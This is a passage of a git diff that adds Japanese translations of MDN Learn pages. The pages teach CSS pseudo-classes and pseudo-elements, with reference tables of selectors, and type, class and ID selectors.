<li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/ja/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html new file mode 100644 index 0000000000..ea84d45c2b --- /dev/null +++ b/files/ja/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html @@ -0,0 +1,397 @@ +--- +title: 疑似クラスと疑似要素 +slug: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements +translation_of: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> + +<p>次に取り上げるセレクターのセットは、<strong>疑似クラス</strong>と<strong>疑似要素</strong>と呼ばれます。これらは多数あり、多くの場合、それらは非常に特定の目的に役立ちます。それらの使用方法がわかったら、リストを見て、達成しようとしているタスクに有効なものがあるかどうかを確認できます。ここでも、各セレクターに関連するMDNページは、ブラウザーサポートの説明に役立ちます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件：</th> + <td>基本的なコンピュータリテラシー、<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">インストールされている基本的なソフトウェア</a><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">、ファイルの操作</a>に関する基本的な知識、HTMLの基本（<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTMLの概要を</a>学ぶ）、CSSのしくみ（<a href="/en-US/docs/Learn/CSS/First_steps">CSSの最初のステップを</a>学ぶ）。</td> + </tr> + <tr> + <th scope="row">目的：</th> + <td>疑似クラスおよび疑似要素セレクターについて学習します。</td> + </tr> + </tbody> +</table> + +<h2 id="疑似クラスとは何ですか？">疑似クラスとは何ですか？</h2> + +<p>疑似クラスは、特定の状態にある要素を選択するセレクターです。たとえば、それらはそのタイプの最初の要素であるか、マウスポインターによってホバーされています。それらは、ドキュメントの一部にクラスを適用したかのように振る舞う傾向があり、マークアップの余分なクラスを削減し、より柔軟で保守可能なコードを提供するのに役立ちます。</p> + +<p>疑似クラスは、コロンで始まるキーワードです。</p> + +<pre class="notranslate">:<em>疑似クラス名</em></pre> + +<h3 id="単純な疑似クラスの例">単純な疑似クラスの例</h3> + +<p>簡単な例を見てみましょう。以下の最初の例に示すように、記事の最初の段落を大きく太字にしたい場合は、その段落にクラスを追加してから、そのクラスにCSSを追加できます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}}</p> + +<p>ただし、これを維持するのは面倒な場合があります。ドキュメントの上部に新しい段落が追加された場合はどうなりますか？クラスを新しい段落に移動する必要があります。クラスを追加する代わりに、{{cssxref(":first-child")}} 疑似クラスセレクターを使用できます。これにより、<em>常に</em>記事の最初の子要素がターゲットになり、HTMLを編集する必要がなくなります（これは、CMSによって生成された可能性があるため、とにかく常に可能であるとは限りません。）</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child2.html", '100%', 700)}}</p> + +<p>すべての疑似クラスは、この同じ方法で動作します。特定の状態にあるドキュメントの一部をターゲットにして、HTMLにクラスを追加したかのように動作します。MDNの他の例をいくつか見てみましょう。</p> + +<ul> + <li><code><a href="/en-US/docs/Web/CSS/:last-child">:last-child</a></code></li> + <li><code><a href="/en-US/docs/Web/CSS/:only-child">:only-child</a></code></li> + <li><code><a href="/en-US/docs/Web/CSS/:invalid">:invalid</a></code></li> +</ul> + +<h3 id="ユーザーアクション疑似クラス">ユーザーアクション疑似クラス</h3> + +<p>一部の疑似クラスは、ユーザーが何らかの方法でドキュメントを操作したときにのみ適用されます。これらの<strong>ユーザーアクションの</strong>疑似クラスは、<strong>動的疑似クラス</strong>と呼ばれることもあり、ユーザーが要素を操作したときに、要素にクラスが追加されたかのように動作します。例は次のとおりです。</p> + +<ul> + <li><code><a href="/en-US/docs/Web/CSS/:hover">:hover</a></code> — 上記の通り; これは、ユーザーが要素（通常はリンク）の上にポインターを移動した場合にのみ適用されます。</li> + <li><code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code> — ユーザーがキーボードコントロールを使用して要素にフォーカスした場合にのみ適用されます。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}}</p> + +<h2 id="疑似要素とは何ですか？">疑似要素とは何ですか？</h2> + +<p>疑似要素は同様に動作しますが、既存の要素にクラスを適用するのではなく、まったく新しいHTML要素をマークアップに追加したかのように動作します。疑似要素はダブルコロンで始まり <code>::</code> ます。</p> + +<pre class="notranslate"><em>::疑似要素名</em></pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>：一部の初期の疑似要素では、単一のコロン構文が使用されていたため、コードまたは例でこれを見ることがあるでしょう。最新のブラウザは、後方互換性のためにシングルまたはダブルコロン構文で初期の疑似要素をサポートしています。</p> +</div> + +<p>たとえば、段落の最初の行を選択する場合は、それを <code><span></code> 要素にラップして要素セレクターを使用できます。ただし、ラップした単語の数が親要素の幅よりも長いまたは短い場合は、失敗します。1行にいくつの単語が収まるかわからない傾向があるため（画面の幅やフォントサイズが変わると、単語数が変わるため）、HTMLを追加してこれを確実に行うことは不可能です。</p> + +<p><code>::first-line</code> 擬似要素セレクタは確実にあなたのためにこれを行います-それはまだ最初の行のみを選択します言葉の数が増加した場合と減少します。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}}</p> + +<p>それはまるで最初のフォーマットされた行を <code><span></code> で魔法のように包み、行の長さが変更されるたびに更新されるかのように動作します。</p> + +<p>これにより、両方の段落の最初の行が選択されていることがわかります。</p> + +<h2 id="疑似クラスと疑似要素を組み合わせる">疑似クラスと疑似要素を組み合わせる</h2> + +<p>最初の段落の最初の行を太字にしたい場合は <code>:first-child</code> 、 <code>::first-line</code> セレクターとセレクターをチェーンすることができます。前のライブ例を編集して、次のCSSを使用するようにしてください。<span class="tlid-translation translation" lang="ja"><span title=""><article>要素内にある最初の <code><p></code> 要素の最初の行を選択したいと言っています。</span></span></p> + +<pre class="brush: css notranslate"> <code>article p:first-child::first-line { + font-size: 120%; + font-weight: bold; +}</code></pre> + +<h2 id="beforeおよび_afterを使用したコンテンツの生成">:: beforeおよび:: afterを使用したコンテンツの生成</h2> + +<p>CSSを使用してコンテンツをドキュメントに挿入するための <code><a href="/en-US/docs/Web/CSS/content">content</a></code> プロパティと共に使用される特別な疑似要素がいくつかあります。</p> + +<p>以下のライブ例のように、これらを使用してテキストの文字列を挿入できます。{{cssxref("content")}} プロパティのテキスト値を変更してみて、出力でそれを確認してください。 <code>::before</code> 疑似要素を <code>::after</code> に変更して、要素の最初ではなく最後に挿入されたテキストを表示することもできます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}</p> + +<p>CSSからテキストの文字列を挿入することは、実際にはWebで頻繁に行うことではありません。そのテキストは一部のスクリーンリーダーにはアクセスできず、将来誰かが見つけて編集するのが難しい場合があるためです。</p> + +<p>これらの疑似要素のより有効な使用法は、アイコンを挿入することです。たとえば、以下の例で追加された小さな矢印は、スクリーンリーダーで読みたくない視覚的なインジケーターです。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}</p> + +<p>これらの疑似要素は、空の文字列を挿入するためにも頻繁に使用され、ページ上の要素と同じようにスタイルを設定できます。</p> + +<p>次の例では、 <code>::before</code> 疑似要素を使用して空の文字列を追加しています。幅と高さでスタイルを設定できるように、これを <code>display: block</code> に設定しました。次に、CSSを使用して、他の要素と同じようにスタイルを設定します。CSSをいじって、CSSの外観と動作を変更できます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}}</p> + +<p><code>content</code> プロパティとともに <code>::before</code> と <code>::after</code> 擬似要素を使用することは、CSSでは「生成されたコンテンツ」と呼ばれ、この手法がさまざまなタスクに使用されているのをよく目にします。良い例は、<a href="http://www.cssarrowplease.com/">CSS Arrow Please Please</a>のサイトで、<a href="http://www.cssarrowplease.com/">CSSで矢印</a>を生成するのに役立ちます。矢印を作成するときにCSSを見ると、{{cssxref("::before")}} および {{cssxref("::after")}} 疑似要素が使用されていることがわかります。これらのセレクターが表示されたら、{{cssxref("content")}} プロパティを見て、ドキュメントに何が追加されているかを確認してください。</p> + +<h2 id="参照セクション">参照セクション</h2> + +<p>疑似クラスと疑似要素は多数あり、参照するリストがあると便利です。以下に、MDNのリファレンスページへのリンクとともに、それらをリストした表を示します。これをリファレンスとして使用して、ターゲットにできるものの種類を確認します。</p> + +<h3 id="疑似クラス">疑似クラス</h3> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">セレクタ</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{cssxref(":active")}}</td> + <td>ユーザーが要素をアクティブ化（たとえばクリック）すると一致します。</td> + </tr> + <tr> + <td>{{cssxref(":any-link")}}</td> + <td>リンクの <code>:link</code> と <code>:visited</code> 状態の両方に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":blank")}}</td> + <td>入力値が空の<a href="/en-US/docs/Web/HTML/Element/input"><code><input></code> 要素に</a>一致します。</td> + </tr> + <tr> + <td>{{cssxref(":checked")}}</td> + <td>選択状態のラジオボタンまたはチェックボックスに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":current")}}</td> + <td>現在表示されている要素または要素の祖先と一致します。</td> + </tr> + <tr> + <td>{{cssxref(":default")}}</td> + <td>類似要素のセットの中でデフォルトである1つ以上のUI要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":dir")}}</td> + <td>方向性（HTML <code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code> 属性またはCSS <code><a href="/en-US/docs/Web/CSS/direction">direction</a></code> プロパティの値）に基づいて要素を選択します。</td> + </tr> + <tr> + <td>{{cssxref(":disabled")}}</td> + <td>無効な状態のユーザーインターフェイス要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":empty")}}</td> + <td>オプションの空白以外の子を持たない要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":enabled")}}</td> + <td>有効な状態のユーザーインターフェイス要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":first")}}</td> + <td><a href="/en-US/docs/Web/CSS/Paged_Media">ページ媒体</a>では、最初のページと一致します。</td> + </tr> + <tr> + <td>{{cssxref(":first-child")}}</td> + <td>兄弟の中で最初にある要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":first-of-type")}}</td> + <td>兄弟の中で最初にある特定のタイプの要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":focus")}}</td> + <td>要素にフォーカスがあるときに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":focus-visible")}}</td> + <td>要素にフォーカスがあり、そのフォーカスがユーザーに表示される場合に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":focus-within")}}</td> + <td>フォーカスを持つ要素と、フォーカスを持つ子孫を持つ要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":future")}}</td> + <td>現在の要素の後の要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":hover")}}</td> + <td>ユーザーが要素にカーソルを合わせると一致します。</td> + </tr> + <tr> + <td>{{cssxref(":indeterminate")}}</td> + <td>値が不確定な状態のUI要素、通常は<a href="/en-US/docs/Web/HTML/Element/input/checkbox">チェックボックスに</a>一致し<a href="/en-US/docs/Web/HTML/Element/input/checkbox">ます</a>。</td> + </tr> + <tr> + <td>{{cssxref(":in-range")}}</td> + <td>範囲制限を持つ要素で、要素の値が範囲内にある場合にマッチします。</td> + </tr> + <tr> + <td>{{cssxref(":invalid")}}</td> + <td>無効な状態の <code><input></code> のような要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":lang")}}</td> + <td>言語（HTML <a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a>属性の値）に基づいて要素を<a href="/en-US/docs/Web/HTML/Global_attributes/lang">照合し</a>ます。</td> + </tr> + <tr> + <td>{{cssxref(":last-child")}}</td> + <td>兄弟の中で最後にある要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":last-of-type")}}</td> + <td>兄弟の中で最後にある特定のタイプの要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":left")}}</td> + <td><a href="/en-US/docs/Web/CSS/CSS_Pages">ページ媒体</a>では、左側のページと一致します。</td> + </tr> + <tr> + <td>{{cssxref(":link")}}</td> + <td>未訪問のリンクに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":local-link")}}</td> + <td>現在のドキュメントと同じサイトにあるページを指すリンクに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":is", ":is()")}}</td> + <td>渡されたセレクターリスト内の任意のセレクターに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":not")}}</td> + <td>このセレクターに値として渡されるセレクターで一致しないものと一致します。</td> + </tr> + <tr> + <td>{{cssxref(":nth-child")}}</td> + <td>兄弟のリストの要素に一致します — 兄弟は<var>an+b</var>の形式の式で一致します（たとえば、2n + 1は1、3、5、7番目などの要素に一致します。すべてが奇数です）。</td> + </tr> + <tr> + <td>{{cssxref(":nth-of-type")}}</td> + <td>特定のタイプの兄弟（ <code><p></code> 要素など）のリストの要素に一致します — 兄弟は<var>、an+b</var>という形式の式で一致します（たとえば、2n + 1は、その要素のタイプの1、3、5 、7番目などに一致します。すべて奇数です。）</td> + </tr> + <tr> + <td>{{cssxref(":nth-last-child")}}</td> + <td>兄弟のリストの要素を末尾から逆に数えて一致させます。兄弟は<var>an+b</var>の形式の式で一致します（たとえば、2n + 1はシーケンスの最後の要素、次にその2つ前の要素、次にその2つ前の要素などと一致します。最後から数えてすべての奇数の要素。）</td> + </tr> + <tr> + <td>{{cssxref(":nth-last-of-type")}}</td> + <td>特定のタイプの兄弟のリスト（ <code><p></code> 要素など）の要素を最後から逆に数えて一致させます。兄弟は<var>、an+b</var>という形式の式で一致します（たとえば、2n + 1は、シーケンス内のそのタイプの最後の要素、次にその2つ前の要素、次にその2つ前の要素などと一致します。最後から数えてすべての奇数の要素。）</td> + </tr> + <tr> + <td>{{cssxref(":only-child")}}</td> + <td>兄弟がない要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":only-of-type")}}</td> + <td>兄弟間でそのタイプの唯一の要素である要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":optional")}}</td> + <td>不要なフォーム要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":out-of-range")}}</td> + <td>範囲制限を持つ要素で、要素の値が範囲外にある場合にマッチします。</td> + </tr> + <tr> + <td>{{cssxref(":past")}}</td> + <td>現在の要素より前の要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":placeholder-shown")}}</td> + <td>プレースホルダーテキストを表示しているinput要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":playing")}}</td> + <td>「再生」または「一時停止」できるオーディオ、ビデオ、または類似のリソースを表す要素が「再生中」のときに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":paused")}}</td> + <td>「再生」または「一時停止」できるオーディオ、ビデオ、または類似のリソースを表す要素が「一時停止」されている場合に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":read-only")}}</td> + <td>ユーザーが変更できない要素と一致します。</td> + </tr> + <tr> + <td>{{cssxref(":read-write")}}</td> + <td>ユーザーが変更可能な要素と一致します。</td> + </tr> + <tr> + <td>{{cssxref(":required")}}</td> + <td>必要なフォーム要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":right")}}</td> + <td><a href="/en-US/docs/Web/CSS/CSS_Pages">ページ媒体</a>では、右側のページに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":root")}}</td> + <td>ドキュメントのルートである要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":scope")}}</td> + <td>スコープ要素であるすべての要素に一致します。</td> + </tr> + <tr> + <td>{{cssxref(":valid")}}</td> + <td><code><input></code> 要素などで要素が有効な状態のときに一致します。</td> + </tr> + <tr> + <td>{{cssxref(":target")}}</td> + <td>現在のURLのターゲットである場合（つまり、現在の<a href="https://en.wikipedia.org/wiki/Fragment_identifier">URLフラグメントに</a>一致するIDを持つ場合）、要素に一致し<a href="https://en.wikipedia.org/wiki/Fragment_identifier">ます</a>。</td> + </tr> + <tr> + <td>{{cssxref(":visited")}}</td> + <td>訪問したリンクに一致します。</td> + </tr> + </tbody> +</table> + +<h3 id="疑似要素">疑似要素</h3> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">セレクタ</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{cssxref("::after")}}</td> + <td>元の要素の実際のコンテンツの後に現れるスタイル可能な要素と一致します。</td> + </tr> + <tr> + <td>{{cssxref("::before")}}</td> + <td>元の要素の実際のコンテンツの前に現れるスタイル可能な要素と一致します。</td> + </tr> + <tr> + <td>{{cssxref("::first-letter")}}</td> + <td>要素の最初の文字と一致します。</td> + </tr> + <tr> + <td>{{cssxref("::first-line")}}</td> + <td>含まれている要素の最初の行と一致します。</td> + </tr> + <tr> + <td>{{cssxref("::grammar-error")}}</td> + <td>ブラウザによってフラグが立てられた文法エラーを含むドキュメントの一部に一致します。</td> + </tr> + <tr> + <td>{{cssxref("::marker")}}</td> + <td>通常は箇条書きまたは番号が含まれているリストアイテムのマーカーボックスに一致します。</td> + </tr> + <tr> + <td>{{cssxref("::selection")}}</td> + <td>選択されたドキュメントの部分に一致します。</td> + </tr> + <tr> + <td>{{cssxref("::spelling-error")}}</td> + <td>ブラウザによってフラグが付けられた、スペルミスを含むドキュメントの一部に一致します。</td> + </tr> + </tbody> +</table> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="このモジュールでは">このモジュールでは</h2> + +<ol> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSSセレクター</a> + <ul> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">タイプ、クラス、IDセレクター</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性セレクター</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">疑似クラスと疑似要素</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">コンビネーター</a></li> + </ul> + </li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">異なるテキスト方向の処理</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">あふれるコンテンツ</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">値と単位</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSSでのアイテムのサイズ変更</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像、メディア、フォーム要素</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">スタイリングテーブル</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSSのデバッグ</a></li> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSSの整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/ja/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html new file mode 100644 index 0000000000..8f1bbbfaad --- /dev/null +++ b/files/ja/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html @@ -0,0 +1,126 @@ +--- +title: 要素・クラス・ID によるセレクター +slug: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors +tags: + - Beginner + - CSS + - Class + - Learn + - Selectors + - Syntax + - id + - universal +translation_of: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> + +<p>このレッスンでは、利用できる最も簡単にみえるセレクタをとりあげます。これは今後あなたが作業でよく使うことになります。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS をドキュメントに適用するためのさまざまな CSS セレクタについて学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Type_selectors" name="Type_selectors">タイプセレクタ</h2> + +<p><strong>タイプセレクタ</strong>は<em>タグ名セレクタ</em>または<em>要素セレクタ</em>を参照します。これはあなたのドキュメント中のタグまたは要素を選択するからです。次の例で span, em それに strong セレクタを使用します。そのため <code><span></code>, <code><em></code> と <code><strong></code> の要素はスタイル修飾されます。</p> + +<p><strong>CSS ルールを追加して <code><h1></code> 要素を選択してその色を青に変えましょう。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}}</p> + +<h2 id="The_universal_selector" name="The_universal_selector">ユニバーサルセレクタ</h2> + +<p>ユニバーサルセレクタはアステリスク (<code>*</code>) で表します。またこれはドキュメントのすべてまたは親要素に含まれるすべての要素( これはそれが連なっている、他の要素やそれらの子要素に連なっている要素すべて) を選択します。次の例ではすべての要素から margin を削除しています。これはブラウザーによって追加されたデフォルトのスタイルの代りに、章立てやパラグラフの margin を消してそれぞれを近く配置させます。これにより個々のパラグラフが見分けがつかなくなってしまいます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}</p> + +<p>この種類の動作はしばしば「スタイルシートのリセット」と呼び、ブラウザーのスタイル設定を取り消します。ユニバーサルセレクタはグローバルな変更をもたらすため、下記に述べる特定の状況のみに使うべきです。</p> + +<h3 id="Using_the_universal_selector_to_make_your_selectors_easier_to_read" name="Using_the_universal_selector_to_make_your_selectors_easier_to_read">ユニバーサルセレクタを使用してセレクタの可読性をあげる</h3> + +<p>ユニバーサルセレクタの使用方法のひとつに、セレクタを読みやすくし、その動作を明かにするのものがあります。例えば、<code><article></code> 要素の最初の子要素を選択し、それがどんな要素であったとしてもそれを太字にしたいとします。これには{{cssxref(":first-child")}} セレクタを使うことができます。これはあとの<a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">疑似クラスと疑似要素</a>のコースで詳細を学びますが、<code><article></code> 要素セレクタの後ろで指定します。</p> + +<pre class="brush: css notranslate">article :first-child { + +}</pre> + +<p>しかしこれは、<code>article:first-child</code> と混同しかねません。これは他の要素の第一子要素の<code><article></code> 要素を選択してしまうのです。</p> + +<p>この混乱を避けるために、<code>:first-child</code> にユニバーサルセレクタを追加します。これで何を選択しているかが明らかです。<code><article></code> 要素の第一子要素にあたるすべての要素を選択しています。</p> + +<pre class="brush: css notranslate">article *:first-child { + +} </pre> + +<h2 id="Class_selectors" name="Class_selectors">クラスセレクタ</h2> + +<p>クラスセレクタの名前はピリオド <code>(.</code>) から始まります。そしてそのクラスが適用されている、ドキュメント内のすべてを選択します。次の例では、<code>.highlight</code> というクラスを作成し、ドキュメントのいくつかの場所に適用します。このクラスが適用されたすべての要素をハイライトします。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}}</p> + +<h3 id="Targetting_classes_on_particular_elements" name="Targetting_classes_on_particular_elements">特定の要素のクラスを対象にする</h3> + +<p>特定のクラスが適用された特定の要素を対象にするセレクタを作成できます。次の例では、<code>highlight</code> クラスの <code><span></code> をハイライトしますが、<code>highlight</code> クラスの <code><h1></code> 見出しを異なるようにハイライトします。対象にしたい要素にタイプセレクタを使用して実現できます。ドットの後にクラスを追加しますが、クラスとの間にホワイトスペースをいれません。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}}</p> + +<p>このアプローチでは、ルールが特定の要素とクラスの組み合わせにのみ適用されるため、ルールの範囲が狭くなります。そのため、ルールを他の要素にも適用したい場合は、別のセレクタを追加する必要があります。</p> + +<h3 id="Target_an_element_if_it_has_more_than_one_class_applied" name="Target_an_element_if_it_has_more_than_one_class_applied">複数のクラスが適用された要素を対象にする</h3> + +<p>一つの要素に複数のクラスを適用できます。それらを個別に選択することも、すべてのクラスがあるものだけを選択することもできます。これは、サイト上で様々な方法で組み合わせることができるコンポーネントを構築する際に便利です。</p> + +<p>次の例は、ノートのある <code><div></code> です。灰色の境界はそのボックスが <code>notebox</code> クラスもっている場合にのみ適用されます。もしそれが <code>warning</code> や <code>danger</code> クラスも持っていた場合 {{cssxref("border-color")}} を変更します。</p> + +<p>ブラウザーに、2 つのクラスが存在する要素だけ一致するように指定するには、それらのクラスをすべて空白を入れずに繋げて指定します。最後の <code><div></code> には <code>danger</code> クラスがあるだけなので、適用されるスタイルはありません。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}}</p> + +<h2 id="ID_Selectors" name="ID_Selectors">ID セレクタ</h2> + +<p>ID セレクタは ピリオドではなく <code>#</code> で始めますが、それ以外は基本的にクラスセレクタと同じです。しかし ID はそのドキュメントの名にはただ一度しか使用できません。ID セレクタはその <code>id</code> が設定されている要素を選択します。要素と ID の両方に一致するものだけを対象にする場合、ID セレクタをタイプセレクタの前に置くことができます。これを次の例で確認しましょう。:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: このレッスンの特例で学んだように ID は非常に特別なもので、他のセレクタを上書きすることがあります。これは対応が難しくなることがあります。多くの場合、ID を使用する代りにクラスを追加するほうが望ましいです。しかしその要素を対象にする方法が ID を使うしかないような場合、例えばそのマークアップにあなたがアクセスできず、編集できないような場合、この方法を使用できます。</p> +</div> + +<h2 id="In_the_next_article" name="In_the_next_article">次の記事</h2> + +<p><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性セレクタ</a> によるセレクタを調べます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクタ</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクタ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクタ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクタ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/sizing_items_in_css/index.html b/files/ja/learn/css/building_blocks/sizing_items_in_css/index.html new file mode 100644 index 0000000000..80909093b3 --- /dev/null +++ b/files/ja/learn/css/building_blocks/sizing_items_in_css/index.html @@ -0,0 +1,139 @@ +--- +title: CSS によるサイズ設定 +slug: 